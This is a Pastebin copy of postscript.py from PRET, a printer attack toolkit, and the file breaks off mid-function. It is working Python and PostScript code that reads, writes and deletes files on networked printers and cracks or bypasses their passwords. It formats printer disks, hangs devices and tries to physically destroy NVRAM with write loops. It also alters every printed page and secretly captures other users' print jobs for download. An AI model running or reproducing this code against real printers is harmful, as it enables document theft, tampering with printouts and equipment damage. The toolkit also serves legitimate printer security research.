Advertisement
Guest User

postscript.py (Kuroi'SH

a guest
Jan 22nd, 2019
377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 56.71 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2.  
  3. # python standard library
  4. import re, os, sys, string, random, json, collections
  5.  
  6. # local pret classes
  7. from printer import printer
  8. from operators import operators
  9. from helper import log, output, conv, file, item, const as c
  10.  
  11. class postscript(printer):
  12. # --------------------------------------------------------------------
  13. # send PostScript command to printer, optionally receive response
  14. def cmd(self, str_send, fb=True, crop=True, binary=False):
  15. str_recv = "" # response buffer
  16. if self.iohack: str_send = '{' + str_send + '} stopped' # br-script workaround
  17. token = c.DELIMITER + str(random.randrange(2**16)) # unique response delimiter
  18. iohack = c.PS_IOHACK if self.iohack else '' # optionally include output hack
  19. footer = '\n(' + token + '\\n) print flush\n' # additional line feed necessary
  20. # send command to printer device # to get output on some printers
  21. try:
  22. cmd_send = c.UEL + c.PS_HEADER + iohack + str_send + footer # + c.UEL
  23. # write to logfile
  24. log().write(self.logfile, str_send + os.linesep)
  25. # sent to printer
  26. self.send(cmd_send)
  27. # use random token or error message as delimiter PS responses
  28. str_recv = self.recv(token + ".*$" + "|" + c.PS_FLUSH, fb, crop, binary)
  29. return self.ps_err(str_recv)
  30.  
  31. # handle CTRL+C and exceptions
  32. except (KeyboardInterrupt, Exception) as e:
  33. self.reconnect(str(e))
  34. return ""
  35.  
  36. # send PostScript command, cause permanent changes
  37. def globalcmd(self, str_send, *stuff):
  38. return self.cmd(c.PS_GLOBAL + str_send, *stuff)
  39.  
  40. # send PostScript command, bypass invalid access
  41. def supercmd(self, str_send, *stuff):
  42. return self.cmd('{' + str_send + '}' + c.PS_SUPER, *stuff)
  43.  
  44. # handle error messages from PostScript interpreter
  45. def ps_err(self, str_recv):
  46. self.error = None
  47. msg = item(re.findall(c.PS_ERROR, str_recv))
  48. if msg: # real postscript command errors
  49. output().errmsg("PostScript Error", msg)
  50. self.error = msg
  51. str_recv = ""
  52. else: # printer errors or status messages
  53. msg = item(re.findall(c.PS_CATCH, str_recv))
  54. if msg:
  55. self.chitchat("Status Message: '" + msg.strip() + "'")
  56. str_recv = re.sub(r'' + c.PS_CATCH + '\r?\n', '', str_recv)
  57. return str_recv
  58.  
  59. # disable printing hard copies of error messages
  60. def on_connect(self, mode):
  61. if mode == 'init': # only for the first connection attempt
  62. str_send = '(x1) = (x2) ==' # = original, == overwritten
  63. str_send += ' << /DoPrintErrors false >> setsystemparams'
  64. str_recv = self.cmd(str_send)
  65. #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  66. # handle devices that do not support ps output via 'print' or '=='
  67. if 'x1' in str_recv or self.error: self.iohack = False # all fine
  68. elif 'x2' in str_recv: # hack required to get output (e.g. brother)
  69. output().errmsg('Crippled feedback', '%stdout hack enabled')
  70. else: # busy or not a PS printer or a silent one (e.g. Dell 3110cn)
  71. output().errmsg('No feedback', 'Printer busy, non-ps or silent')
  72.  
  73. # ------------------------[ shell ]-----------------------------------
  74. def do_shell(self, arg):
  75. "Open interactive PostScript shell."
  76. # politely request poor man's remote postscript shell
  77. output().info("Launching PostScript shell. Press CTRL+D to exit.")
  78. try:
  79. self.send(c.UEL + c.PS_HEADER + "false echo executive\n")
  80. while True:
  81. # use postscript prompt or error message as delimiter
  82. str_recv = self.recv(c.PS_PROMPT + "$|" + c.PS_FLUSH, False, False)
  83. # output raw response from printer
  84. output().raw(str_recv, "")
  85. # break on postscript error message
  86. if re.search(c.PS_FLUSH, str_recv): break
  87. # fetch user input and send it to postscript shell
  88. self.send(raw_input("") + "\n")
  89. # handle CTRL+C and exceptions
  90. except (EOFError, KeyboardInterrupt) as e:
  91. pass
  92. # reconnect with new conn object
  93. self.reconnect(None)
  94.  
  95. # --------------------------------------------------------------------
  96. # check if remote volume exists
  97. def vol_exists(self, vol=''):
  98. if vol: vol = '%' + vol.strip('%') + '%'
  99. str_recv = self.cmd('/str 128 string def (*)'
  100. + '{print (\\n) print} str devforall')
  101. vols = str_recv.splitlines() + ['%*%']
  102. if vol: return vol in vols # return availability
  103. else: return vols # return list of existing vols
  104.  
  105. # check if remote directory exists
  106. def dir_exists(self, path, list=[]):
  107. path = self.escape(path)
  108. if self.fuzz and not list: # use status instead of filenameforall
  109. return (self.file_exists(path) != c.NONEXISTENT)
  110. # use filenameforall as some ps interpreters do not support status
  111. if not list: list = self.dirlist(path, False)
  112. for name in list: # use dirlist to check if directory
  113. if re.search("^(%.*%)?" + path + c.SEP, name): return True
  114.  
  115. # check if remote file exists
  116. def file_exists(self, path, ls=False):
  117. str_recv = self.cmd('(' + path + ') status dup '
  118. + '{pop == == == ==} if', False)
  119. meta = str_recv.splitlines()
  120. # standard conform ps interpreters respond with file size + timestamps
  121. if len(meta) == 4:
  122. # timestamps however are often mixed up…
  123. timestamps = [conv().int(meta[0]), conv().int(meta[1])]
  124. otime = conv().lsdate(min(timestamps)) # created (may also be ctime)
  125. mtime = conv().lsdate(max(timestamps)) # last referenced for writing
  126. size = str(conv().int(meta[2])) # bytes (file/directory size)
  127. pages = str(conv().int(meta[3])) # pages (ain't really useful)
  128. return (size, otime, mtime) if ls else int(size)
  129. # broken interpreters return true only; can also mean: directory
  130. elif item(meta) == 'true': return c.FILE_EXISTS
  131. else: return c.NONEXISTENT
  132.  
  133. # escape postscript pathname
  134. def escape(self, path):
  135. return path.replace('\\', '\\\\').replace('(', '\(').replace(')', '\)')
  136.  
  137. #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  138. # get complete list of files and directories on remote device
  139. def dirlist(self, path="", r=True):
  140. if r: path = self.rpath(path)
  141. path = self.escape(path + self.get_sep(path))
  142. vol = "" if self.vol else "%*%" # search any volume if none specified
  143. # also lists hidden .dotfiles + special treatment for brother devices
  144. str_recv = self.find(vol + path + "**") or self.find(vol + path + "*")
  145. list = {name for name in str_recv.splitlines()}
  146. return sorted(list)
  147.  
  148. def find(self, path):
  149. str_send = '{false statusdict /setfilenameextend get exec} stopped\n'\
  150. '/str 256 string def (' + path + ') '\
  151. '{print (\\n) print} str filenameforall'
  152. return self.timeoutcmd(str_send, self.timeout * 2, False)
  153.  
  154. # ------------------------[ ls <path> ]-------------------------------
  155. def do_ls(self, arg):
  156. "List contents of remote directory: ls <path>"
  157. path = self.rpath(arg) + self.get_sep(arg)
  158. list = self.dirlist(arg)
  159. cwdlist = []
  160. # create file list without subdirs
  161. for name in list:
  162. max = len(path.split(c.SEP))
  163. name = c.SEP.join(name.split(c.SEP)[:max])
  164. # add new and non-empty filenames to list
  165. if not name in cwdlist and re.sub("^(%.*%)", '', name):
  166. cwdlist.append(name)
  167. # get metadata for files in cwd
  168. for name in cwdlist:
  169. isdir = self.dir_exists(name, list) # check if file is directory
  170. metadata = self.file_exists(name, True) if not isdir else None
  171. if metadata == c.FILE_EXISTS or isdir: # create dummy metadata
  172. (size, otime, mtime) = ('-', conv().lsdate(0), conv().lsdate(0))
  173. elif metadata != c.NONEXISTENT: size, otime, mtime = metadata
  174. if metadata != c.NONEXISTENT: # we got real or dummy metadata
  175. output().psdir(isdir, size, otime, self.basename(name), mtime)
  176. else: output().errmsg("Crippled filename", 'Bad interpreter')
  177.  
  178. # ------------------------[ find <path> ]-----------------------------
  179. def do_find(self, arg):
  180. "Recursively list contents of directory: find <path>"
  181. for name in self.dirlist(arg):
  182. output().psfind(name)
  183.  
  184. # ------------------------[ mirror <path> ]---------------------------
  185. def do_mirror(self, arg):
  186. "Mirror remote file system to local directory: mirror <remote path>"
  187. for name in self.dirlist(arg):
  188. self.mirror(name, True)
  189.  
  190. # ====================================================================
  191.  
  192. # ------------------------[ mkdir <path> ]----------------------------
  193. def do_mkdir(self, arg):
  194. "Create remote directory: mkdir <path>"
  195. if not arg:
  196. arg = raw_input("Directory: ")
  197. # writing to dir/file should automatically create dir/
  198. # .dirfile is not deleted as empty dirs are not listed
  199. self.put(self.rpath(arg) + c.SEP + '.dirfile', '')
  200.  
  201. # ------------------------[ get <file> ]------------------------------
  202. def get(self, path, size=None):
  203. if not size:
  204. size = self.file_exists(path)
  205. if size != c.NONEXISTENT:
  206. # read file, one byte at a time
  207. str_recv = self.cmd('/byte (0) def\n'
  208. + '/infile (' + path + ') (r) file def\n'
  209. + '{infile read {byte exch 0 exch put\n'
  210. + '(%stdout) (w) file byte writestring}\n'
  211. + '{infile closefile exit} ifelse\n'
  212. + '} loop', True, True, True)
  213. return (size, str_recv)
  214. else:
  215. print("File not found.")
  216. return c.NONEXISTENT
  217.  
  218. # ------------------------[ put <local file> ]------------------------
  219. def put(self, path, data, mode='w+'):
  220. if self.iohack: # brother devices without any writeable volumes
  221. output().warning("Writing will probably fail on this device")
  222. # convert to PostScript-compatibe octal notation
  223. data = ''.join(['\\{:03o}'.format(ord(char)) for char in data])
  224. self.cmd('/outfile (' + path + ') (' + mode + ') file def\n'
  225. + 'outfile (' + data + ') writestring\n'
  226. + 'outfile closefile\n', False)
  227.  
  228. # ------------------------[ append <file> <string> ]------------------
  229. def append(self, path, data):
  230. self.put(path, data, 'a+')
  231.  
  232. # ------------------------[ delete <file> ]---------------------------
  233. def delete(self, arg):
  234. path = self.rpath(arg)
  235. self.cmd('(' + path + ') deletefile', False)
  236.  
  237. # ------------------------[ rename <old> <new> ]----------------------
  238. def do_rename(self, arg):
  239. arg = re.split("\s+", arg, 1)
  240. if len(arg) > 1:
  241. old = self.rpath(arg[0])
  242. new = self.rpath(arg[1])
  243. self.cmd('(' + old + ') (' + new + ') renamefile', False)
  244. else:
  245. self.onecmd("help rename")
  246.  
  247. # define alias but do not show alias in help
  248. do_mv = do_rename
  249. def help_rename(self):
  250. print("Rename remote file: rename <old> <new>")
  251.  
  252. # ====================================================================
  253.  
  254. # ------------------------[ id ]--------------------------------------
  255. def do_id(self, *arg):
  256. "Show device information."
  257. output().info(self.cmd('product print'))
  258.  
  259. # ------------------------[ version ]---------------------------------
  260. def do_version(self, *arg):
  261. "Show PostScript interpreter version."
  262. str_send = '(Dialect: ) print\n'\
  263. 'currentpagedevice dup (PostRenderingEnhance) known {(Adobe\\n) print}\n'\
  264. '{serverdict dup (execkpdlbatch) known {(KPDL\\n) print}\n'\
  265. '{statusdict dup (BRversion) known {(BR-Script ) print\n'\
  266. '/BRversion get ==}{(Unknown) print} ifelse} ifelse} ifelse\n'\
  267. 'currentsystemparams 11 {dup} repeat\n'\
  268. ' (Version: ) print version ==\n'\
  269. ' (Level: ) print languagelevel ==\n'\
  270. ' (Revision: ) print revision ==\n'\
  271. ' (Serial: ) print serialnumber ==\n'\
  272. '/SerialNumber known {(Number: ) print /SerialNumber get ==} if\n'\
  273. '/BuildTime known {(Built: ) print /BuildTime get ==} if\n'\
  274. '/PrinterName known {(Printer: ) print /PrinterName get ==} if\n'\
  275. '/LicenseID known {(License: ) print /LicenseID get ==} if\n'\
  276. '/PrinterCode known {(Device: ) print /PrinterCode get ==} if\n'\
  277. '/EngineCode known {(Engine: ) print /EngineCode get ==} if'
  278. output().info(self.cmd(str_send))
  279.  
  280. # ------------------------[ df ]--------------------------------------
  281. def do_df(self, arg):
  282. "Show volume information."
  283. output().df(('VOLUME', 'TOTAL SIZE', 'FREE SPACE', 'PRIORITY',
  284. 'REMOVABLE', 'MOUNTED', 'HASNAMES', 'WRITEABLE', 'SEARCHABLE'))
  285. for vol in self.vol_exists():
  286. str_send = '(' + vol + ') devstatus dup {pop ' + '== ' * 8 + '} if'
  287. lst_recv = self.cmd(str_send).splitlines()
  288. values = (vol,) + tuple(lst_recv if len(lst_recv) == 8 else ['-'] * 8)
  289. output().df(values)
  290.  
  291. # ------------------------[ free ]------------------------------------
  292. def do_free(self, arg):
  293. "Show available memory."
  294. #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  295. output().raw("RAM status")
  296. output().info(self.cmd('currentsystemparams dup dup dup\n'
  297. + '/mb 1048576 def /kb 100 def /str 32 string def\n'
  298. + '(size: ) print /InstalledRam known {\n'
  299. + ' /InstalledRam get dup mb div cvi str cvs print (.) print kb mod cvi str cvs print (M\\n) print}{pop (Not available\\n) print\n'
  300. + '} ifelse\n'
  301. + '(free: ) print /RamSize known {\n'
  302. + ' /RamSize get dup mb div cvi str cvs print (.) print kb mod cvi str cvs print (M\\n) print}{pop (Not available\\n) print\n'
  303. + '} ifelse'))
  304. #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  305. output().raw("Virtual memory")
  306. output().info(self.cmd('vmstatus\n'
  307. + '/mb 1048576 def /kb 100 def /str 32 string def\n'
  308. + '(max: ) print dup mb div cvi str cvs print (.) print kb mod cvi str cvs print (M\\n) print\n'
  309. + '(used: ) print dup mb div cvi str cvs print (.) print kb mod cvi str cvs print (M\\n) print\n'
  310. + '(level: ) print =='))
  311. #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  312. output().raw("Font cache")
  313. output().info(self.cmd('cachestatus\n'
  314. + '/mb 1048576 def /kb 100 def /str 32 string def\n'
  315. + '(blimit: ) print ==\n'
  316. + '(cmax: ) print ==\n'
  317. + '(csize: ) print ==\n'
  318. + '(mmax: ) print ==\n'
  319. + '(msize: ) print ==\n'
  320. + '(bmax: ) print ==\n'
  321. + '(bsize: ) print =='))
  322. #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  323. output().raw("User cache")
  324. output().info(self.cmd('ucachestatus\n'
  325. + '/mb 1048576 def /kb 100 def /str 32 string def\n'
  326. + '(blimit: ) print ==\n'
  327. + '(rmax: ) print ==\n'
  328. + '(rsize: ) print ==\n'
  329. + '(bmax: ) print ==\n'
  330. + '(bsize: ) print =='))
  331.  
  332. # ------------------------[ devices ]---------------------------------
  333. def do_devices(self, arg):
  334. "Show available I/O devices."
  335. str_send = '/str 128 string def (*) {print (\\n) print} str /IODevice resourceforall'
  336. for dev in self.cmd(str_send).splitlines():
  337. output().info(dev)
  338. output().raw(self.cmd('(' + dev + ') currentdevparams {exch 128 string '
  339. + 'cvs print (: ) print ==} forall') + os.linesep)
  340.  
  341. # ------------------------[ uptime ]----------------------------------
  342. def do_uptime(self, arg):
  343. "Show system uptime (might be random)."
  344. str_recv = self.cmd('realtime ==')
  345. try: output().info(conv().elapsed(str_recv, 1000))
  346. except ValueError: output().info("Not available")
  347.  
  348. # ------------------------[ date ]------------------------------------
  349. def do_date(self, arg):
  350. "Show printer's system date and time."
  351. str_send = '(%Calendar%) /IODevice resourcestatus\n'\
  352. '{(%Calendar%) currentdevparams /DateTime get print}\n'\
  353. '{(Not available) print} ifelse'
  354. str_recv = self.cmd(str_send)
  355. output().info(str_recv)
  356.  
  357. # ------------------------[ pagecount ]-------------------------------
  358. def do_pagecount(self, arg):
  359. "Show printer's page counter: pagecount <number>"
  360. output().raw("Hardware page counter: ", '')
  361. str_send = 'currentsystemparams dup /PageCount known\n'\
  362. '{/PageCount get ==}{(Not available) print} ifelse'
  363. output().info(self.cmd(str_send))
  364.  
  365. # ====================================================================
  366.  
  367. # ------------------------[ lock <passwd> ]---------------------------
  368. def do_lock(self, arg):
  369. "Set startjob and system parameters password."
  370. if not arg:
  371. arg = raw_input("Enter password: ")
  372. self.cmd('<< /Password () '
  373. '/SystemParamsPassword (' + arg + ') ' # harmless settings
  374. '/StartJobPassword (' + arg + ') ' # alter initial vm!
  375. '>> setsystemparams', False)
  376.  
  377. # ------------------------[ unlock <passwd>|"bypass" ]----------------
  378. def do_unlock(self, arg):
  379. "Unset startjob and system parameters password."
  380. max = 2**20 # exhaustive key search max value
  381. # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  382. # note that only numeric passwords can be cracked right now
  383. # according to the reference using 'reset' should also work:
  384. # **********************************************************
  385. # »if the system parameter password is forgotten, there is
  386. # still a way to reset it [...] by passing a dictionary to
  387. # setsystemparams in which FactoryDefaults is the only entry«
  388. # **********************************************************
  389. if not arg:
  390. print("No password given, cracking.") # 140k tries/sec on lj4250!
  391. output().chitchat("If this ain't successful, try 'unlock bypass'")
  392. arg = self.timeoutcmd('/min 0 def /max ' + str(max) + ' def\n'
  393. 'statusdict begin {min 1 max\n'
  394. ' {dup checkpassword {== flush stop}{pop} ifelse} for\n'
  395. '} stopped pop', self.timeout * 100)
  396. # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  397. # superexec can be used to reset PostScript passwords on most devices
  398. elif arg == 'bypass':
  399. print("Resetting password to zero with super-secret PostScript magic")
  400. self.supercmd('<< /SystemParamsPassword (0)'
  401. ' /StartJobPassword (0) >> setsystemparams')
  402. arg = '0' # assume we have successfully reset the passwords to zero
  403. # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  404. # finally unlock device with user-supplied or cracked password
  405. str_recv = self.cmd('{ << /Password (' + arg + ')\n'
  406. ' /SystemParamsPassword ()\n' # mostly harmless
  407. ' /StartJobPassword ()\n' # permanent VM change
  408. ' >> setsystemparams\n} stopped ==')
  409. msg = "Use the 'reset' command to restore factory defaults"
  410. if not 'false' in str_recv: output().errmsg("Cannot unlock", msg)
  411. else: output().raw("Device unlocked with password: " + arg)
  412.  
  413. # ------------------------[ restart ]---------------------------------
  414. def do_restart(self, arg):
  415. "Restart PostScript interpreter."
  416. output().chitchat("Restarting PostScript interpreter.")
  417. # reset VM, might delete downloaded files and/or restart printer
  418. self.globalcmd('systemdict /quit get exec')
  419.  
  420. # ------------------------[ reset ]-----------------------------------
  421. def do_reset(self, arg):
  422. "Reset PostScript settings to factory defaults."
  423. # reset system parameters -- only works if printer is turned off
  424. ''' »A flag that, if set to true immediately before the printer is turned
  425. off, causes all nonvolatile parameters to revert to their factory default
  426. values at the next power-on. The set of nonvolatile parameters is product
  427. dependent. In most products, 'PageCount' cannot be reset. If the job that
  428. sets FactoryDefaults to true is not the last job executed straight before
  429. power-off, the request is ignored; this reduces the chance that malicious
  430. jobs will attempt to perform this operation.« '''
  431. self.cmd('<< /FactoryDefaults true >> setsystemparams', False)
  432. output().raw("Printer must be turned off immediately for changes to take effect.")
  433. output().raw("This can be accomplished, using the 'restart' command in PJL mode.")
  434.  
  435. # ------------------------[ format ]----------------------------------
  436. def do_format(self, arg):
  437. "Initialize printer's file system: format <disk>"
  438. if not self.vol:
  439. output().info("Set volume first using 'chvol'")
  440. else:
  441. output().warning("Warning: Initializing the printer's file system will whipe-out all")
  442. output().warning("user data (e.g. stored jobs) on the volume. Press CTRL+C to abort.")
  443. if output().countdown("Initializing " + self.vol + " in...", 10, self):
  444. str_recv = self.cmd('statusdict begin (' + self.vol + ') () initializedisk end', False)
  445.  
  446. # ------------------------[ disable ]---------------------------------
  447. def do_disable(self, arg):
  448. output().psonly()
  449. before = 'true' in self.globalcmd('userdict /showpage known dup ==\n'
  450. '{userdict /showpage undef}\n'
  451. '{/showpage {} def} ifelse')
  452. after = 'true' in self.cmd('userdict /showpage known ==')
  453. if before == after: output().info("Not available") # no change
  454. elif before: output().info("Printing is now enabled")
  455. elif after: output().info("Printing is now disabled")
  456.  
  457. # define alias but do not show alias in help
  458. do_enable = do_disable
  459. def help_disable(self):
  460. print("Disable printing functionality.")
  461.  
  462. # ------------------------[ destroy ]---------------------------------
  463. def do_destroy(self, arg):
  464. "Cause physical damage to printer's NVRAM."
  465. output().warning("Warning: This command tries to cause physical damage to the")
  466. output().warning("printer NVRAM. Use at your own risk. Press CTRL+C to abort.")
  467. if output().countdown("Starting NVRAM write cycle loop in...", 10, self):
  468. '''
  469. ┌───────────────────────────────────────────────────────────┐
  470. │ how to destroy your printer? │
  471. ├───────────────────────────────────────────────────────────┤
  472. │ Older devices allow us to set system parameters within a │
  473. │ PostScript loop. New devices only write to the NVRAM once │
  474. │ the print job finishes which slows down NVRAM exhaustion. │
  475. │ To get the best of both worlds, we use a hybrid approach. │
  476. ├───────────────────────────────────────────────────────────┤
  477. │ Note that this will only work if /WaitTimeout survives a │
  478. │ reboot. Else we should use the /StartJobPassword instead. │
  479. └───────────────────────────────────────────────────────────┘
  480. '''
  481. cycles = '100' # number of nvram write cycles per loop
  482. # large values kill old printers faster
  483. for n in range(1, 1000000):
  484. self.globalcmd('/value {currentsystemparams /WaitTimeout get} def\n'
  485. '/count 0 def /new {count 2 mod 30 add} def\n'
  486. '{ << /WaitTimeout new >> setsystemparams\n'
  487. ' /count count 1 add def % increment\n'
  488. ' value count ' + cycles + ' eq {exit} if\n'
  489. '} loop', False)
  490. self.chitchat("\rNVRAM write cycles: " + str(n*int(cycles)), '')
  491. print # echo newline if we get this far
  492.  
  493. # ------------------------[ hang ]------------------------------------
  494. def do_hang(self, arg):
  495. "Execute PostScript infinite loop."
  496. output().warning("Warning: This command causes an infinite loop rendering the")
  497. output().warning("device useless until manual restart. Press CTRL+C to abort.")
  498. if output().countdown("Executing PostScript infinite loop in...", 10, self):
  499. self.cmd('{} loop', False)
  500.  
  501. # ====================================================================
  502.  
  503. # ------------------------[ overlay <file> ]--------------------------
  504. def do_overlay(self, arg):
  505. "Put overlay image on all hard copies: overlay <file>"
  506. if not arg: arg = raw_input('File: ')
  507. if arg.endswith('ps'): data = file().read(arg) # already ps/eps file
  508. else:
  509. self.chitchat("For best results use a file from the overlays/ directory")
  510. data = self.convert(arg, 'eps') # try to convert other file types
  511. if data: self.overlay(data)
  512.  
  513. # define alias
  514. complete_overlay = printer.complete_lfiles # files or directories
  515.  
  516. def overlay(self, data):
  517. output().psonly()
  518. size = conv().filesize(len(data)).strip()
  519. self.chitchat("Injecting overlay data (" + size + ") into printer memory")
  520. str_send = '{overlay closefile} stopped % free memory\n'\
  521. '/overlay systemdict /currentfile get exec\n'\
  522. + str(len(data)) + ' () /SubFileDecode filter\n'\
  523. '/ReusableStreamDecode filter\n' + data + '\n'\
  524. 'def % --------------------------------------\n'\
  525. '/showpage {save /showpage {} def overlay dup\n'\
  526. '0 setfileposition cvx exec restore systemdict\n'\
  527. '/showpage get exec} def'
  528. self.globalcmd(str_send)
  529.  
  530. # ------------------------[ cross <text> <font> ]---------------------
  531. def do_cross(self, arg):
  532. arg = re.split("\s+", arg, 1)
  533. if len(arg) > 1 and arg[0] in self.options_cross:
  534. font, text = arg
  535. text = text.strip('"')
  536. data = file().read(self.fontdir + font + ".pfa") or ""
  537. data += '\n/' + font + ' findfont 50 scalefont setfont\n'\
  538. '80 185 translate 52.6 rotate 1.1 1 scale 275 -67 moveto\n'\
  539. '(' + text + ') dup stringwidth pop 2 div neg 0 rmoveto show'
  540. self.overlay(data)
  541. else:
  542. self.onecmd("help cross")
  543.  
  544. def help_cross(self):
  545. print("Put printer graffiti on all hard copies: cross <font> <text>")
  546. print("Read the docs on how to install custom fonts. Available fonts:")
  547. if len(self.options_cross) > 0: last = sorted(self.options_cross)[-1]
  548. for font in sorted(self.options_cross): print(('└─ ' if font == last else '├─ ') + font)
  549.  
  550. fontdir = os.path.dirname(os.path.realpath(__file__))\
  551. + os.path.sep + 'fonts' + os.path.sep
  552. options_cross = [os.path.splitext(font)[0] for font in (os.listdir(fontdir)
  553. if os.path.exists(fontdir) else []) if font.endswith('.pfa')]
  554.  
  555. def complete_cross(self, text, line, begidx, endidx):
  556. return [cat for cat in self.options_cross if cat.startswith(text)]
  557.  
  558. # ------------------------[ replace <old> <new> ]---------------------
  559. def do_replace(self, arg):
  560. "Replace string in documents to be printed: replace <old> <new>"
  561. arg = re.split("\s+", arg, 1)
  562. if len(arg) > 1:
  563. output().psonly()
  564. oldstr, newstr = self.escape(arg[0]), self.escape(arg[1])
  565. self.globalcmd('/strcat {exch dup length 2 index length add string dup\n'
  566. 'dup 4 2 roll copy length 4 -1 roll putinterval} def\n'
  567. '/replace {exch pop (' + newstr + ') exch 3 1 roll exch strcat strcat} def\n'
  568. '/findall {{(' + oldstr + ') search {replace}{exit} ifelse} loop} def\n'
  569. '/show { findall systemdict /show get exec} def\n'
  570. '/ashow { findall systemdict /ashow get exec} def\n'
  571. '/widthshow { findall systemdict /widthshow get exec} def\n'
  572. '/awidthshow { findall systemdict /awidthshow get exec} def\n'
  573. '/cshow { findall systemdict /cshow get exec} def\n'
  574. '/kshow { findall systemdict /kshow get exec} def\n'
  575. '/xshow { exch findall exch systemdict /xshow get exec} def\n'
  576. '/xyshow { exch findall exch systemdict /xyshow get exec} def\n'
  577. '/yshow { exch findall exch systemdict /yshow get exec} def\n')
  578. else:
  579. self.onecmd("help replace")
  580.  
  581. # ------------------------[ capture <operation> ]---------------------
  582. def do_capture(self, arg):
  583. "Capture further jobs to be printed on this device."
  584. free = '5' # memory limit in megabytes that must at least be free to capture print jobs
  585. # record future print jobs
  586. if arg.startswith('start'):
  587. output().psonly()
  588. # PRET commands themself should not be capture if they're performed within ≤ 10s idle
  589. '''
  590. ┌──────────┬───────────────────────────────┬───────────────┐
  591. │ hooking: │ BeginPage/EndPage │ overwrite all │
  592. ├──────────┼───────────────────────────────┼───────────────┤
  593. │ metadat: │ ✔ │ - │
  594. ├──────────┼───────────────────────────────┼───────┬───────┤
  595. │ globals: │ we are already global(?) │ need │ none │
  596. ├──────────┼───────────────┬───────────────┼───────┴───────┤
  597. │ capture: │ currentfile │ %lineedit │ currentfile │
  598. ├──────────┼───────┬───────┼───────┬───────┼───────┬───────┤
  599. │ storage: │ nfile │ vfile │ nfile │ array │ vfile │ nfile │
  600. ├──────────┼───────┼───────┼───────┼───────┼───────┼───────┤
  601. │ package: │ ✔ │ ? │ ✔ │ ? │ ? │ ✔ │
  602. ├──────────┼───────┼───────┼───────┼───────┼───────┼───────┤
  603. │ execute: │ ✔ │ ✔ │ ✔ │ - │ ✔ │ ✔ │
  604. └──────────┴───────┴───────┴───────┴───────┴───────┴───────┘
  605. '''
  606. str_send = 'true 0 startjob { \n'\
  607. '/setoldtime {/oldtime realtime def} def setoldtime \n'\
  608. '/threshold {realtime oldtime sub abs 10000 lt} def \n'\
  609. '/free {vmstatus exch pop exch pop 1048576 div '+free+' ge} def \n'\
  610. '%---------------------------------------------------------------------\n'\
  611. '%--------------[ get current document as file object ]----------------\n'\
  612. '%---------------------------------------------------------------------\n'\
  613. '/document {(%stdin) (r) file /ReusableStreamDecode filter} bind def \n'\
  614. '%---------------------------------------------------------------------\n'\
  615. '/capturehook {{ \n'\
  616. ' threshold {(Within threshold - will not capture\\n) print flush \n'\
  617. ' setoldtime \n'\
  618. '}{ \n'\
  619. ' setoldtime \n'\
  620. ' free not {(Out of memory\\n) print flush}{ \n'\
  621. ' % (This job will be captured in memory\\n) print flush \n'\
  622. ' setoldtime \n'\
  623. ' false echo % stop interpreter slowdown \n'\
  624. ' /timestamp realtime def % get time from interpreter \n'\
  625. ' userdict /capturedict known not % print jobs are saved here \n'\
  626. ' {/capturedict 50000 dict def} if % define capture dictionary \n'\
  627. ' %-------------------------------------------------------------------\n'\
  628. ' %--------------[ save document to dict and print it ]---------------\n'\
  629. ' %-------------------------------------------------------------------\n'\
  630. ' capturedict timestamp document put % store document in memory \n'\
  631. ' capturedict timestamp get cvx exec % print the actual document \n'\
  632. ' clear cleardictstack % restore original vm state \n'\
  633. ' %-------------------------------------------------------------------\n'\
  634. ' setoldtime \n'\
  635. ' } ifelse} ifelse} stopped} bind def \n'\
  636. '<< /BeginPage {capturehook} bind >> setpagedevice \n'\
  637. '(Future print jobs will be captured in memory!)} \n'\
  638. '{(Cannot capture - unlock me first)} ifelse print'
  639. output().raw(self.cmd(str_send))
  640. #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  641. # show captured print jobs
  642. elif arg.startswith('list'):
  643. # show amount of free virtual memory left to capture print jobs
  644. vmem = self.cmd('vmstatus exch pop exch pop 32 string cvs print')
  645. output().chitchat("Free virtual memory: " + conv().filesize(vmem)
  646. + " | Limit to capture: " + conv().filesize(int(free) * 1048576))
  647. output().warning(self.cmd('userdict /free known {free not\n'
  648. '{(Memory almost full, will not capture jobs anymore) print} if}\n'
  649. '{(Capturing print jobs is currently not active) print} ifelse'))
  650. # get first 100 lines for each captured job
  651. str_recv = self.cmd(
  652. 'userdict /capturedict known {capturedict\n'
  653. '{ exch realtime sub (Date: ) print == dup % get time diff\n'
  654. ' resetfile (Size: ) print dup bytesavailable == % get file size\n'
  655. ' 100 {dup 128 string readline {(%%) anchorsearch % get metadata\n'
  656. ' {exch print (\\n) print} if pop}{pop exit} ifelse} repeat pop\n'
  657. ' (' + c.DELIMITER + '\\n) print\n'
  658. '} forall clear} if')
  659. # grep for metadata in captured jobs
  660. jobs = []
  661. for val in filter(None, str_recv.split(c.DELIMITER)):
  662. date = conv().timediff(item(re.findall('Date: (.*)', val)))
  663. size = conv().filesize(item(re.findall('Size: (.*)', val)))
  664. user = item(re.findall('For: (.*)', val))
  665. name = item(re.findall('Title: (.*)', val))
  666. soft = item(re.findall('Creator: (.*)', val))
  667. jobs.append((date, size, user, name, soft))
  668. # output metadata for captured jobs
  669. if jobs:
  670. output().joblist(('date', 'size', 'user', 'jobname', 'creator'))
  671. output().hline(79)
  672. for job in jobs: output().joblist(job)
  673. #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  674. # save captured print jobs
  675. elif arg.startswith('fetch'):
  676. jobs = self.cmd('userdict /capturedict known {capturedict {exch ==} forall} if').splitlines()
  677. if not jobs: output().raw("No jobs captured")
  678. else:
  679. for job in jobs:
  680. # is basename sufficient to sanatize file names? we'll see…
  681. target, job = self.basename(self.target), self.basename(job)
  682. root = os.path.join('capture', target)
  683. lpath = os.path.join(root, job + '.ps')
  684. self.makedirs(root)
  685. # download captured job
  686. output().raw("Receiving " + lpath)
  687. data = '%!\n'
  688. data += self.cmd('/byte (0) def\n'
  689. 'capturedict ' + job + ' get dup resetfile\n'
